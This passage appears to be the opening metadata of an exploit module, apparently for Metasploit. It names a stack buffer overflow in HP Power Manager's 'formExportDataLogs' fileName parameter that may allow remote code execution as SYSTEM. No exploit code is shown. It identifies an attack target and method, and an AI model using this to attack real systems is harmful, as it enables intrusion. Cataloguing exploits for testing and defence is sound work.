'Name' => "HP Power Manager 'formExportDataLogs' Buffer Overflow",  
'Description' => %q{  
This module exploits a buffer overflow in HP Power Manager's 'formExportDataLogs'.  
By creating a malformed request specifically for the fileName parameter, a stack-based  
buffer overflow occurs due to a long error message (which contains the fileName),  
which may result aribitrary remote code execution under the context of 'SYSTEM'.
